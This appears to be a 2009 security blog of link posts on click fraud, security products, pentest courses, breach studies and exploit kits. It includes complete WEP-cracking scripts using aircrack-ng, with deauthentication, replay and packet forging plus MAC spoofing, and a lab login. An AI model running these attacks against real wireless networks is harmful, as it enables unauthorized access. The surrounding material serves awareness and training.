Click fraud

Un article du SC Magazine explique ce qu’est le Click Fraud et pourquoi les compagnies de publicités doivent être vigilentes.
C’est une attaque qui implique une(des) personne(s) ou programme(s) qui cliquent à répétition sur une annonce publicitaire en-ligne pour augmenter le compte des références payables par les clients des compagnies de publicité.
Cette attaque se prête très bien à une architecture de botnet dont le Bahama Botnet.

Increasingly, click fraud seems to be underpinned by botnets, according to a report from Click Forensics, an online advertising auditing service. In fact, botnets accounted for nearly 43 percent of all click fraud in the third quarter of this year, the study, released Thursday, found. This was a big jump in the use of botnets, marking a doubling in two years, and an increase of 27.5 percent over the same quarter last year.
One botnet, a highly sophisticated click-fraud network of zombie computers dubbed the “Bahama botnet,” was implicated in a recent scareware incident involving NYTimes.com display ads. The source of that attack was traced back to the Ukrainian Fan Club, a known group of online fraudsters, which redirected traffic through 200,000 parked domains located in the Bahamas.
Click fraud involves a person, or script, clicking on an ad repeatedly to drive up countable hits that are paid for by unknowing advertisers. “Botnets perpetrating click fraud and other online schemes continue to grow in number and sophistication,” Paul Pellman, CEO of Click Forensics, said in a statement. “Advertisers and ad providers need to be especially vigilant about such activity as we enter the competitive search marketing holiday season.”
via Botnet use in click fraud skyrockets – SC Magazine US.

Coupe-feu virtuel Altor VF

SC Magazine vient d’émettre quelques mots sur Altor VF: Altor Networks Altor VF – SC Magazine US.

–
Altor VF protects all of the VMs, but even better, it lets you know what you actually have so you can get rid of what you don’t need. And, as they say on the late-night infomercials, “Wait! There’s more!” Altor VF works directly with either its own IDS or with an external IDS, such as Snort, Juniper or ArcSight. Of course, this capability works all the way down to the VM and allows deep analysis of data to and from the individual VMs.
As well, Altor VF works with other important virtual products, such as VSwitch or Cisco V1000. And, again as one would expect, it is policy driven, which makes management easy and straightforward.

Botnet use in click fraud skyrockets - SC Magazine US

Botnet use in click fraud skyrockets - SC Magazine US: "One botnet, a highly sophisticated click-fraud network of zombie computers dubbed the 'Bahama botnet,' was implicated in a recent scareware incident involving NYTimes.com display ads. The source of that attack was traced back to the Ukrainian Fan Club, a known group of online fraudsters, which redirected traffic through 200,000 parked domains located in the Bahamas."

Review of Penetration Testing with BackTrack

This is the course I've registered to and about to engage in. Below, you'll find the 3rd part of a review for the course. I can't wait to get to that part...

The Ethical Hacker Network - Review: Penetration Testing with BackTrack by Offensive Security Part 3: "This penetration testing course introduces the latest hacking tools and techniques, and includes remote live labs for exercising the material presented to the students. This course gives a solid understanding of the penetration testing process, and is equally important for those wanting to either defend or attack their network. The course can be taken from your home, as long as you have a modern computer with high speed internet."

Wordpress Exploit Scanner 0.5

Exploit Scanner 0.5: "The WordPress Exploit Scanner has been updated, with lots of help from Jon and Ryan.

In recent weeks blogs running older versions of WordPress were exploited. If you’re concerned that your blog might have been broken into, download the plugin and run it. It will find false positive results but it will do a reasonably good job of finding the code that’s inserted into a hacked site.

The plugin works by scanning every directory on your site. This is done recursively which unfortunately takes up quite a bi of memory. If you get an out of memory error please read the readme.txt as it has a suggestion for fixing the problem.

PS. WordPress 2.8.5 was released last night. Make sure you upgrade! A WordPress MU release will follow shortly"

Montreal OWASP Chapter

Montréal - OWASP: "local Montreal chapter homepage"

Tripwire ConfigCheck for Virtual and Physical Infra.

Tripwire ConfigCheck - Configuration Control for Virtual and Physical Infrastructures: "Tripwire's ConfigCheck is a free utility that rapidly assesses the security of VMware ESX 3.0 and 3.5 hypervisor configurations compared to the VMware Infrastructure 3 Security Hardening guidelines. Developed by Tripwire in cooperation with VMware, Tripwire ConfigCheck ensures ESX environments are properly configured—offering immediate insight into unintentional vulnerabilities in virtual environments—and provides the necessary steps towards full remediation when they are not.

* Ensure recommended ESX configurations
* Discover possible vulnerabilities
* Deploy virtualization safely and securely
* Increase security posture of the entire enterprise
* Easily implement security and compliance best practices
* Reduce configuration drift"

Facebook, Twitter users beware: Crooks are a mouse click away - CNN.com

Facebook, Twitter users beware: Crooks are a mouse click away - CNN.com: "It starts with a friend updating his or her status or sending you a message with an innocent link or video. Maybe your friend is in distress abroad and needs some help.

All you have to do is click.

When the message or link is opened, social network users are lured to fake Web sites that trick them into divulging personal details and passwords. The process, known as a phishing attack or malware, can infiltrate users' accounts without their consent.

Once the account is compromised, the thieves can infiltrate the list of friends or contacts and repeat the attack on subsequent victims. Social networking sites show there is ample opportunity to find more victims; the average Facebook user has 120 friends on the site."

Offensive Security Certified Professional (OCSP) Certification

Penetration Testing Training and Certification - BackTrack Training: "Students who successfully complete the Offensive Security 'Pentesting with BackTrack' certification challenge receive the OSCP certification (and 40 CPE credits for CISSP recert)."

Third Brigade VM Protection | Free Software for Cloud Computing Security

Third Brigade VM Protection | Free Software for Cloud Computing Security: Third Brigade VM Protection is free software you can use to quickly establish a line of defense, for as many as 100 virtual machines, whether deployed in a private or public cloud. Multiple layers of protection are combined in a single software agent to increase security and gain visibility into malicious activity targeting your VMs. Third Brigade VM Protection deploys quickly, is centrally managed, and is integrated with VMware's vCenter.

The Ethical Hacker Network - Certifications

The Ethical Hacker Network - Certifications: "There are not that many certifications specifically focused on ethical hacking, pen testing and incident response"

Disaster Recovery Journal - Debating Distance and Disasters

Disaster Recovery Journal - Dedicated to Business Continuity Since 1987 - Debating Distance and Disasters: "How far is far enough between primary and alternate sites?

There are a number of “easy” answers, but none are complete; none are “one size fits all” – just like a business continuity plan, the answer is unique to the organization.

Some basic questions every planner needs to ask include:

* What power grid provides AC to the organization?
* What are the weather risks?
* What about neighbors?
* What is your community’s target level?"

See also
Disaster Recovery Journal - How Far is 'Far Enough'?: "How far is enough? That was the question asked of Association of Contingency Planners (ACP) chapters in the United States. The intent of the survey question was to set standards from within the industry regarding how far an alternate facility and an off-site storage facility should be from the primary operations site. This article is a compilation and interpretation of the responses to that survey."

See also this article

How social networking can hurt you

How social networking can hurt you: "At RSA Conference Europe 2009, Dr. Herbert Thompson talked about how attackers are launching innovative attacks against individuals and companies using the information shared over public social networking channels."

New NSS Labs Anti-Malware reports

2009 Q3 Anti-Malware Reports from NSS Labs:

• Corporate Endpoint Protection Products Q3 - 17 days of recurring testing of 10 corporate grade endpoint protection products vs. our Live Testing of socially engineered malware.
• Consumer Endpoint Protection Products Q3 - 17 days of recurring testing of 9 consumer grade endpoint protection products vs. our Live Testing of socially engineered malware."

NSS Labs Browser Phishing Test Report

Browser phishing report from NSS
Summary of report: During Q3, 2009 NSS Labs performed a group test of web browser protection against phishing attacks. This report examines the ability of five different web browsers to protect users.The results are based upon empirically validated evidence gathered by NSS Labs during 14 days of 24x7 testing against fresh, live malicious sites.

RSA: IBM delivers on Phantom promise - Network World

RSA: IBM delivers on Phantom promise - Network World: "At RSA Conference 2009, IBM/ISS will make good on a promise it made at last year’s RSA event to deliver protection for virtual environments.

The effort IBM/ISS called Project Phantom will bear fruit with the announcement of the Virtual Network Protection Platform, a network intrusion prevention system (IPS) for protecting virtual network segments.

Slideshow: Hot security products from RSA Conference 2009

ISS already made IPS software, but virtual environments in which virtual machines share the same hardware and replicate to other physical machines create blind spots where traditional IPS products have no vision."

Hackerdemia Disk Information and Download Link

Following is direct excerpt of the heorot forum.
 
Get the current Hackerdemia PenTest Tool Tutorial disk

The MD5 Hash Value: 09e960360714df7879679dee72ce5733

How to start the disk:
Boot the LiveCD on a system within your pentest lab, which needs to be configured to be in the 192.168.xxx.xxx range.
Connect to http://192.168.1.123 using a web browser (preferably in BackTrack or your favorite pentest platform)

You will be presented with a web page, which is your tutorials. All hands-on examples were created with the Hackerdemia disk as the target, so your results should exactly match those found in the tutorials.

Where to get the BackTrack disk:
http://remote-exploit.org/backtrack_download.html

Network configuration:
The LiveCD configures itself to an IP address of 192.168.1.123 by default. If you want to change it, simply log in as:
username: root
password: toor

...and change the ifconfig information (If you don't know what I'm talking about, go to: http://en.wikipedia.org/wiki/Ifconfig )"

See also:
http://heorot.net/instruction/tutorials/iso/hackerdemia-1.1.0.iso
http://heorot.net/instruction/tutorials/iso/de-ice.net-1.100-1.1.iso
http://heorot.net/instruction/tutorials/iso/de-ice.net-1.110-1.0.iso

Conficker Eye Chart

The Conficker Eye Chart helps end-users determine if they are infected with Conficker. If indeed you are infected, please make sure that you remove it properly. This may mean reinstallation but before you do that, visit the repair tools list. Actually, here's an even bigger list.

TELUS | Download the 2009 Rotman-TELUS Study

The results of the 2009 Rotman-TELUS Joint Study on Canadian IT Security Practices are now available. Interesting points from the one pager summary:

Breaches
• Breaches and annual costs are up; per breach costs are down
• Canada catching up to USA in terms of breaches
• Most breaches are up: led by unauthorized Access by Employees
- Insider breaches almost double in 2009, now comparable to USA rates
• Disclosure or loss of customer data remains top issue
• Organizations cite damage to brand as biggest breach concern

IT Security Budgets
• Growing threat has rendered most security budgets inadequate
• The average security budget was 7% of the IT budget
• Top performing respondents spent at least 10% of their IT budget on IT security

IT Security Profession
• Organizations rewarding formal education more than certifications
• 46% of respondents earned more than $100,000


IT Governance and Outsourcing
• High-performing security programs have strong governance and focus on education
• Business metrics substantially increased the perceived value of security
• On-shore security outsourcing increases
- Privacy favouring Canadian service providers
- Publicly traded companies outsource to the best-value provider regardless of location

Technology and Security Countermeasures
• Application security practices not keeping up with evolving threats
- More than half of respondents consider security in their development lifecycle
- Focus in Canada is predominantly towards after-the-fact security, rather than “build it secure.”
• Cloud security concerns similar to classic outsourcing
• Technology investments focus on fighting malware
- Organizations favour protecting applications versus fixing them

Computer hacks jump in 2009 study

You might have seen this week's news that were talking about the evolving threat in Canada…

Computer hacks jump in '09: study

CBC News

Canadian companies faced more computer attacks in the past 12 months, which cost companies almost twice as much to fight, according to a study released Tuesday. A survey of 600 information technology professionals compiled by Telus Corp. and the Rotman School of Management at the University of Toronto showed that…
REF: http://www.cbc.ca/technology/story/2009/09/29/telus-it-breach-2008.html

Les brèches de sécurité en TI coûtent cher aux entreprises
Magazine Les Affaires

Les brèches de sécurité dans le secteur des technologies de l’information coûteront en moyenne 834 000 dollars à chaque organisation canadienne en 2009, soit environ deux fois plus qu’en 2008

REF : http://lesaffaires.com/secteurs-d-activite/technologies-et-telecommunications/les-breches-de-securite-en-ti-coutent-cher-aux-entreprises/502777

How to protect ourselves

The best way is to be ahead of the threat, as the IBM ISS R&D group called X-Force says so well. This is a differentiating factor for IBM to have X-Force and the ISS solutions that "box" them. This group regularily publishes vulnerability and threat reports that provide a good summary of they do on a day-to-day basis : http://www-935.ibm.com/services/us/iss/xforce/trendreports/ :

Latest Trend and Risk Report

In addition to standard vulnerability, malware, spam, phishing, and web threat statistics, the IBM X-Force 2009 Mid-year Trend and Risk Report features the following special topics:

• Document vulnerabilities. In the first half of the year alone, the total number of vulnerabilities disclosed in some of the document types we traditionally consider "secure" has already exceeded the total number of disclosed vulnerabilities found in them in all of 2008.
• Most disclosed vulnerabilities. Microsoft is no longer number one in the "most disclosed vulnerabilities" category.
• Better Browsers. More secure (if you update) but still the main exploitation target.
• Bad Web Links. More prolific for spam, phishing, and the delivery of malicious code.
• Conficker and Lessons Learned. Conficker had baffled security researchers, caused panic among computer users, and had shown us a glimpse of the mindset and the sophistication of cybercriminals.

• Read the IBM X-Force 2009 Mid-year Trend and Risk Report
• Download the 2009 Mid-year Trend and Risk Report graphics (ZIP, 5.09MB)

Latest Threat Insight Report

This edition of the X-Force Threat Insight Report provides an exhaustive list of security alerts, breaches and the most commonly seen threats in Q2 2009. It also delivers two new and insightful articles by IBM ISS researchers. The first article assesses one of the more serious threats of 2009, Conficker. The Conficker worm family has evolved into a massive sophisticated malicious botnet arsenal and infrastructure of millions of compromised hosts. The second article discusses Internet fraud schemes, specifically, Advance Fee schemes and Romance scams.

• Read the latest Threat Insight Report (690KB)
• NEW! Listen to the first IBM X-Force Threat Insight Quarterly Podcast

Les brèches de sécurité en TI coûtent cher aux entreprises - LesAffaires.com

Les brèches de sécurité en TI coûtent cher aux entreprises - LesAffaires.com

Vulnerability assessment tools

Application Security DbProtect [$30,000 for 5 DB]
Enterprise-class database security, risk and compliance suite. It combines discovery, vulnerability scanning, real-time activity monitoring, auditing and intrusion detection to help organizations reduce risk and enhance compliance throughout their database infrastructure. This product can protect databases from internal and external threats, as well as ensuring regulatory compliance. SC Review

Auditor Assuria [$3,800 starter pack: central software + 5 agents]
Security and compliance scanner for enterprise servers. This product features capabilities, such as vulnerability assessment, system change detection, system information and regulatory compliance. The Auditor can actively scan systems using agents deployed across the enterprise network, and these agents report back to the main console. SC Review

Cenzic Hailstorm ARC [$26,000]
Web application vulnerability scanner. This product can scan websites and web applications in the enterprise to see how vulnerable they are to possible attack from hackers. This application can also go above and beyond standard scanning by providing complete risk analysis and compliance checks as well. SC Review

Core Security Technologies Core Impact Pro 8 [$30,000/year]
One of our favorite tools is back this year and it's better than ever. Core Impact Pro 8 is the ultimate tool in vulnerability assessment and penetration testing. It provides a comprehensive suite of features gathered in one place. This product can be used to scan and exploit systems using multiple modules for information gathering, exploitation, local information gathering, privilege escalation, pivoting, and clean-up and reporting. This tool also deploys agents that run in the target's memory if a target can be exploited. SC Review

eEye Digital Security Retina [$575 for 32 IPs]
Multi-platform vulnerability management. Retina identifies known and zero-day vulnerabilities and provides security risk assessment, enabling security best practices, policy enforcement and compliance with regulatory audits. This product analyzes specific pieces of the operating system, applications and policies. The tool targets high-risk host components and how a cybercriminal could potentially leverage them for malicious activity. SC Review

GFI LANguard [10-24 IPs at $32/IP]

Vulnerability assessment engine able to discover more than 15,000 vulnerabilities, including Microsoft missing patches in various languages. This product can scan and discover vulnerabilities across the network. It uses an update engine, which runs in real time and synchronizes the local vulnerability database with the latest releases from Microsoft, CVE, OVAL and SANS. SC Review

IBM ISS Network Enterprise Scanner [$7,250]
Proactive tool that accelerates time to risk reduction by prioritizing vulnerability remediation tasks. It eliminates manual steps by allowing continuous automated scanning across multiple network segments from a single appliance. It helps you leverage existing investments and decrease the cost of ownership through IT system integration (ISS SiteProtector, Virtual Patching). It helps identify existing IT risks and enables you to observe due diligence in conforming to regulatory requirements. CC Eval. CVE Support.

IBM Rational AppScan [starts at $17,500]
Protects against the threat of attacks and data breaches. Web application security, including new Malware detection capabilities, can be used for vulnerability scanning in all stages of application development and by testers with or without security expertise. SC Review.

McAfee Vulnerability Manager [$16,820 for 1,000 IP addresses]
Network vulnerability scanner and network auditing tool. This appliance can actively discover and scan network assets across the enterprise looking for possible threats that leave these assets vulnerable to attack. Vulnerability Manager does this using its very versatile scanning engine. SC Review

netVigilance SecureScout NX [$595]
network vulnerability scanning tool that at first glance looks like a scanning tool from times past. However, this product packs a serious punch. The SecureScout can scan almost anything that has an IP address - be it firewalls, routers, operating systems or anything else you can find to throw at it. The tool can also do in-depth firewall testing and scan multiple subnets from one console. SC Review

N-Stalker Web Application Security Scanner [$1,399/URL, $6,299 unlimited]
Assesses a web application against a wide range of vulnerabilities, including the application layer and infrastructure layer. Scans for the application layer are based on the Open Web Application Security Project (OWASP) Top 10 and Common Weakness Enumeration (CWE) Top 25. Scans against the infrastructure layer include more than 35,000 signatures for server and third-party packages. SC Review

Ounce Labs Ounce 6 [$30,000]
Static source code security analysis. It will analyze any application written in C/C++, Java/JSP, .NET (C#, VB .NET, ASP.NET), Classic ASP (VBScript, JavaScript) and Visual Basic 6. This product provides a way to carefully examine any source code written in these languages for possible holes and vulnerabilities. These applications do not need to be web-based. Any source code can be tested. SC Review

Saint Saint Suite [$2,695 for a Class C]
Vulnerability scanning across a vast number of platforms, routers and basically anything else with an IP address. It can also try to exploit and penetrate those vulnerabilities using a penetration tool. This provides an all-around overview of network vulnerabilities. SC Review

Sunbelt Software Network Security Inspector [$795-$3,495 based on employee size]
Network vulnerability scanner using a database of over 4,000 ranked multiplatform vulnerabilities. This product can perform comprehensive vulnerability assessment without causing interruptions to the machines being scanned. The tool not only detects vulnerabilities, but also shows how to remediate the threat by providing locations where, if any, applicable patches can be downloaded to fix the machine. SC Review

Anatomy of an attack

SANS: The Top Cyber Security Risks
Good attack process explanation

Security Report - Anatomy of an Attack - Introduction

Security Report - Anatomy of an Attack - Introduction

apache-scalp

apache-scalp is an Apache log file IDS.

See also http://php-ids.org/

Exploit toolkits used by crackers

Durzosploit is a javascript exploits generator framework that works through the console. This goal of that project is to quickly and easily generate working exploits for cross-site scripting vulnerabilities in popular web applications or web sites.It does not find browser vulnerabilities, it's only a framework containing exploits.

MPack is a PHP-based malware kit produced by Russian crackers. Since 2006, a new version is thought to have been released roughly every month. It is thought to have been used to infect up to 160,000 PCs with keylogging. In August 2007 it was believed to have been used in an attack on the web site of the Bank of India which originated from the Russian Business Network.

Firepack: Exploit toolkit which utilizes PHP on the server side, on the client Javascript and Vbscript and exploits MSIE 6

Adpack stands for "Advanced Pack" and was written in PHP on the server side along with SQL backend for tracking and statistics.

Neosploit is an advanced exploit framework to compromise web site visitors. It's not as popular as the Mpack toolkit but has gained popularity. Used as a CGI script, it can support multiple users from the same script. The exploit code will be the same from all users but the delivered executables can be different. Similar to other toolkits this one provide various statistics too. The following information about the visitor is logged: Operating System, Web browser and its version, IP address, and the Referer.Delivered exploit code is obfuscated using custom Javascript decoding function. The function name and all local variables are random in order to avoid detection by Network IDS. Often, several layers of obfuscation with anti-decoding tricks are used to deter the faint-hearted. It seems that development of this exploit pack has ended. Apparently, efforts which are put into development are not returning enough income and support is ending.

For more details, see http://dxp2532.blogspot.com

Defeating Signature-Based AV Scanners

[yehg.net] Download DefeatingSignature-BasedAVScanners.zip

Video showing different javascript obfuscation methods to defeat signature-based Anti-Virus software.

Loi sur l'accès aux documents des organismes publics et sur la protection des renseignements personnels (org. publics)

Titre de la loi: "Loi sur l'accès aux documents des organismes publics et sur la protection des renseignements personnels"

Loi sur la protection d'information personnelle dans le secteur privé

An Act respecting the protection of personal information in the private sector

Planning a Summer Vacation? Be a Privacy-Smart Traveler

Some good tips for preventing fraud while you're away on vacation: Planning a Summer Vacation? Be a Privacy-Smart Traveler

Business Continuity and Disaster Recovery Planning Resources

1. Checklists, http://www.businesscontingency.com/checklist.php
2. NIST SP800-34, Contingency Planning Guide for Information Technology Systems, http://csrc.nist.gov/publications/nistpubs/800-34/sp800-34.pdf
3. ISO 27002 (or ISO 17799-2005), Code of practice for information security management, BCP is in section 14
   
4. NFPA 1600, Standard on Disaster/Emergency Management and Business Continuity Programs, http://www.nfpa.org/assets/files/pdf/nfpa1600.pdf
   
5. BC Planning model, http://www.drj.com/new2dr/model/bcmodel.htm
   
6. HIPAA, BCP in chapter 164.530, “Administrative Requirements: Policies & Procedures.”
   
7. Gramm-Leach-Bliley (GLB), see Title V, some directives that will impact a financial institution’s BCP
   
8. The state of DR preparedness, Forrester Research, http://www.drj.com/index.php?Itemid=159&ed=10&id=794&option=com_content&task=view
   
9. BCI, http://www.thebci.org/
   
10. DRI Institute, https://www.drii.org/
    
    
    

WEP cracking POC with aircrack-ng

Below you'll find my WEP key cracking script crack.sh. I use it in parallel with my capture script cap.sh to demonstrate how easy it is crack WEP. You'll need to create your own crack.conf file (after performing some reconnaissance with Kismet or airodump-ng) and then you'll see how it's easy to crack WEP.

So don't use WEP!

###!/bin/bash
# File: crack.sh
PATH=$PATH:/usr/sbin:/sbin:/home/user/bin:/home/eric/bin:/sbin:/usr/sbin:/usr/local/bin:/data/cap
SEL=""
msg()
{
echo; echo -n "== $1 "; read retkey
}

prompt()
{
echo; echo -n "== $1 "; read SEL
}

# Check calling args
if [ $# -ne 1 ]
then
echo "Syntax: $0 CONFIGNAME"; exit 1
fi
echo "== List of available WLAN interfaces:"
iwconfig 2>&1 | grep 802.11 | awk '{print $1}'
if=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | tail -1`

prompt "Type the interface to capture from: [$if]"
if [ "$SEL" != "" ]
then
if=$SEL
fi

# Enter network values here
CONFFILE=./crack.conf
if [ ! -x $CONFFILE ]
then
echo Config $CONFFILE is missing! Exiting.
exit 1
fi
echo "-- Reading configuration from $CONFFILE"
. $CONFFILE $1

msg 'Pls start the capture in a separate terminal'
prompt 'Run fake reauthenticationl? [y]'
if [ "$SEL" = y -o "$SEL" = "" ]
then
# Fake auth
aireplay-ng --fakeauth 0 -e "$essid" -a $bssid -h $mac0 $if
msg 'Check that association was successful'
fi

# Make choice of attack
prompt "Choose (0)deauth, (2)interactive-replay, (3)ARP-replay, (4)chopchop, (5)fragment:"
case $SEL in
0)
msg 'Will attempt deauthentication attack'
aireplay-ng -0 1 -a $bssid -h $mac1 $if
;;
2)
msg 'Will attempt replay attack interactively'
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b $bssid -h $mac0 $if

#msg 'Will attempt cracking WEP key with IVs received'
#aircrack-ng -a 1 -X -s wepch${channel}*.ivs
;;
3)
# Chop chop
msg 'Will run ARP replay'
aireplay-ng -3 -e "$ssid" -b $bssid -h $mac0 $if
;;
4|5)
# Chop chop
msg 'Will run Chop chop: choose the one where dest. MAC is not FF:FF:FF:FF:FF:FF'
aireplay-ng --chopchop -e "$ssid" -h $mac0 $if
#aireplay-ng -$SEL -e "$ssid" -b $bssid $if
msg 'Now copy the .cap file name into your clipboard (without .cap)'
prompt 'Enter the base filename here:'
read capfile

# Dump the packet to the screen
msg 'Packets captured will be dumped to the screen'
tcpdump -s 0 -n -e -r $capfile.cap
msg 'Copy the srcIP to clipboard'
echo -n 'Copy the IP here: '; read srcIP
msg 'Copy the dstIP to clipboard'
echo -n 'Copy the IP here: '; read dstIP

# Forge ARP packet
msg 'Will forge ARP packet'
packetforge-ng -0 -h $mac0 -c $mac1 -a $bssid -l $dstIP -k $srcIP -y $capfile.xor -w $arpcapfile

msg 'Will replay interactively from captured file (just select first shown)'
aireplay-ng --interactive -r $arpcapfile $if

#msg 'Will attempt cracking WEP key with IVs received'
#aircrack-ng -a 1 -X -s wepch${channel}*.ivs
;;
esac

=============================================================

###!/bin/bash
# File: cap.sh
PATH=$PATH:/usr/sbin:/sbin:/home/user/bin:/home/eric/bin:/sbin:/usr/sbin:/usr/local/bin:/data/cap
SEL=""
opts=""

#######################################
msg()
{
echo; echo -n "== $1 "; read retkey
}

prompt()
{
echo; echo -n "== $1 "; read SEL
}

usage(){
echo "Syntax: $0 (no args: interactive)"
echo " $0 IF -f CONFIGNAME [AIRODUMP-NG_OPTS]"
echo " $0 IF -c CHANNEL [AIRODUMP-NG_OPTS]"
}
#######################################
readConfig(){
CONFNAME=$1
shift

# Enter network values here
CONFFILE=./crack.conf
if [ ! -x $CONFFILE ]
then
echo Config $CONFFILE is missing! Exiting.
exit 1
fi
echo "-- Reading configuration from $CONFFILE"
. $CONFFILE $CONFNAME
opts="--bssid $bssid" # Filter APs by BSSID
opts="$opts -w $CONFNAME-ch$channel" # Dump file prefix
opts="$opts -t $type" # Filter APs by cipher suite
opts="$opts --band $band" # Band on which airodump-ng should hop (abg)
opts="$opts --channel $channel" # Capture on specific channels
opts="$opts $*"
}
#######################################
capture(){
#opts="$opts --ivs" # Save only captured IVs
#opts="$opts --gpsd" # Use GPSd
opts="$opts --update 2" # Display update delay in seconds
#opts="$opts --showack" # Prints ack/cts/rts statistics
#opts="$opts -h" # Hides known stations for --showack
#opts="$opts -f 1000" # Time in ms between hopping channels
opts="$opts -a" # Filter unassociated clients

if [ "$mac0" != "" ]
then
prompt "Change MAC to $mac0? [n]"
if [ "$SEL" = "y" ]
then
./wlanconfig.sh $if monitor $mac0
fi
else
prompt "Configure for $if for monitoring mode? [n]"
if [ "$SEL" = "y" ]
then
./wlanconfig.sh $if monitor
fi
fi
cmd="airodump-ng $opts $if"
msg "About to run: $cmd"
cd dump
$cmd

prompt "Configure $if back to normal managed mode? [n]"
if [ "$SEL" = "y" ]
then
cd ..
./wlanconfig.sh $if managed
fi
}
#######################################
interact(){
echo "== List of available WLAN interfaces:"
iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | sort
if=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | sort | tail -1`

prompt "Type the interface to capture from: [$if]"
if [ "$SEL" != "" ]
then
if=$SEL
fi

prompt "Use a known configuration? [n]"
if [ "$SEL" = "y" ]
then
prompt "Enter config name:"
readConfig $SEL
return
fi

prompt "Capture on a specific channel? [n]"
if [ "$SEL" = "y" ]
then
channel=1
prompt "Enter channel number: [$channel]"
if [ "$SEL" != "" ]
then
channel=$SEL
fi
opts="--channel $channel"
opts="$opts -w ch$channel" # Dump file prefix
fi
prompt "Filter on cypher (OPN|WEP|WPA|WPA1|WPA2)? [All]"
if [ "$SEL" != "" ]
then
opts="$opts -t $SEL"
fi
}
#######################################

# Check calling args
if [ $# -eq 1 ]
then
usage
exit 1
fi
if [ $# -ge 2 ]
then
if=$1 ; shift;
op=$1 ; shift
else
op=interactive
fi

case $op in
-c)
channel=$1
shift
opts="-w ch$channel" # Dump file prefix
opts="$opts -c $channel" # Capture on specific channels
opts="$opts $*"
capture
;;
-f)
readConfig $*
capture
;;
interact*)
interact $*
capture
;;
*)
usage
esac

=========================================================

###!/bin/bash
# File: wlanconfig.sh
PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin

printUsage(){
echo
echo "Usage: $0 IF MODE [NEWMAC]"
echo
echo "Examples:"
echo " $0 ath0 managed"
echo " $0 ath0 monitor"
echo " $0 wlan0 monitor"
echo " $0 wlan0 monitor 11:22:33:44:55:66"
echo
}

if [ $# -lt 2 ]
then
printUsage
exit 1
fi

case $2 in
managed)
mode=sta
;;
monitor)
mode=monitor
;;
*)
printUsage
exit 1
esac

if=$1
bif=$1
modecmd=$2
mac=$3

echo "-- Bringing $if down"
ifconfig $if down

# Set base interface to wifi0 if it's Atheros/madwifi
if [ $if = ath0 -o $if = ath1 ]
then
bif=wifi0
fi

if [ "$mac" != "" ]
then
echo "-- Changing MAC of $bif to $mac"
macchanger --mac $mac $bif
fi

# Special execution for Atheros/madwifi
if [ $if = ath0 -o $if = ath1 ]
then
echo "-- Destroying $if"
wlanconfig $if destroy

echo "-- Creating $if in $modecmd mode"
wlanconfig $if create wlandev $bif wlanmode $mode
else
#airmon-ng stop $if
#airmon-ng start $if
echo "-- Configuring $if for $modecmd mode"
iwconfig $if mode $modecmd
fi

echo "-- Bringing $if up"
ifconfig $if up

==============================================================

# File: Sample crack.conf
#if=wlan1 ; mac0=00:1B:2F:A9:D1:B9 # Orig MAC (rtl8087l)
#if=wifi0 ; mac0=06:23:4D:00:82:7C # Atheros 5007
#if=ath1 ; mac0=06:23:4D:00:82:7C # Atheros 5007
#if=wlan0 ; mac0=00:1B:2F:A9:D1:B9 # Orig MAC (rtl8087l)

case $1 in
*)
channel=6 # Wireless channel
essid="TESTSSID" # SSID
bssid=00:18:39:C4:F6:85 # MAC of AP
mac0=00:29:2F:E5:AA:15 # Masquerading as internal MAC (if required by AP)
mac1=00:1F:F3:F9:C1:B1 # MAC of known target
# key=C3E07361D029ACEE81234446B4 (saved here after cracking)
type=WEP
band=g
;;
esac

Sudo config in Active Directory

My Active Directory schema update proposal got included in the sudo distribution. See the Sudo Change Log. The sudo README was also updated. I tested this successfully using LDAP-UX on HP-UX 11.X (11.1 or 11.2). This means that we could centralize the sudo configuration for multiple HP-UX hosts by using the sudo configuration coming from AD.

Here's my original post on the sudo website...

FYI,

I’m sending this to let other people benefit from this AD schema extension file in LDIF. This should work for most AD domain controller installations used as an LDAP server. As described in http://www.gratisoft.us/sudo/readme_ldap.html, this schema extension is necessary prior to loading the sudoers.ldif file in AD.

Note that the sudo distribution only includes the OpenLDAP and iPlanet extensions so the following file provides support for AD.

I was able to load it on my Windows 2003 server installation after using the following schema extension.

Cheers,
Eric.

# BEGINNING OF FILE
#==========================================================================
# File : sudoers-ad-schema.ldf
# Description : Active Directory Schema for sudo configuration (sudoers)
# Sanitized by : Eric Paquet, http://www.pcdsolutions.com
# Updated : 2008/05/08
# Support Info : No support, use at your own risk
#
# To extend your Active Directory schema, run the following command
# on your Windows DC:
#
# ldifde -i -f sudoers-ad-schema.ldf -c dc=X dc=YOURDOMAIN,DC=COM
#==========================================================================
dn: CN=sudoUser,CN=Schema,CN=Configuration,DC=X

changetype: add

objectClass: top

objectClass: attributeSchema

cn: sudoUser

distinguishedName:
CN=sudoUser,CN=Schema,CN=Configuration,DC=X

instanceType: 4

attributeID: 1.3.6.1.4.1.15953.9.1.1

attributeSyntax: 2.5.5.5

isSingleValued: FALSE

showInAdvancedViewOnly: TRUE

adminDisplayName: sudoUser

adminDescription: User(s) who may run sudo

oMSyntax: 22

searchFlags: 1

lDAPDisplayName: sudoUser

name: sudoUser

schemaIDGUID:: JrGcaKpnoU+0s+HgeFjAbg==

objectCategory:

CN=Attribute-Schema,CN=Schema,CN=Configuration,DC=X



dn: CN=sudoHost,CN=Schema,CN=Configuration,DC=X

changetype: add

objectClass: top

objectClass: attributeSchema

cn: sudoHost

distinguishedName:
CN=sudoHost,CN=Schema,CN=Configuration,DC=X

instanceType: 4

attributeID: 1.3.6.1.4.1.15953.9.1.2

attributeSyntax: 2.5.5.5

isSingleValued: FALSE

showInAdvancedViewOnly: TRUE

adminDisplayName: sudoHost

adminDescription: Host(s) who may run sudo

oMSyntax: 22

lDAPDisplayName: sudoHost

name: sudoHost

schemaIDGUID:: d0TTjg+Y6U28g/Y+ns2k4w==

objectCategory:

CN=Attribute-Schema,CN=Schema,CN=Configuration,DC=X



dn: CN=sudoCommand,CN=Schema,CN=Configuration,DC=X

changetype: add

objectClass: top

objectClass: attributeSchema

cn: sudoCommand

distinguishedName:
CN=sudoCommand,CN=Schema,CN=Configuration,DC=X

instanceType: 4

attributeID: 1.3.6.1.4.1.15953.9.1.3

attributeSyntax: 2.5.5.5

isSingleValued: FALSE

showInAdvancedViewOnly: TRUE

adminDisplayName: sudoCommand

adminDescription: Command(s) to be executed by sudo

oMSyntax: 22

lDAPDisplayName: sudoCommand

name: sudoCommand

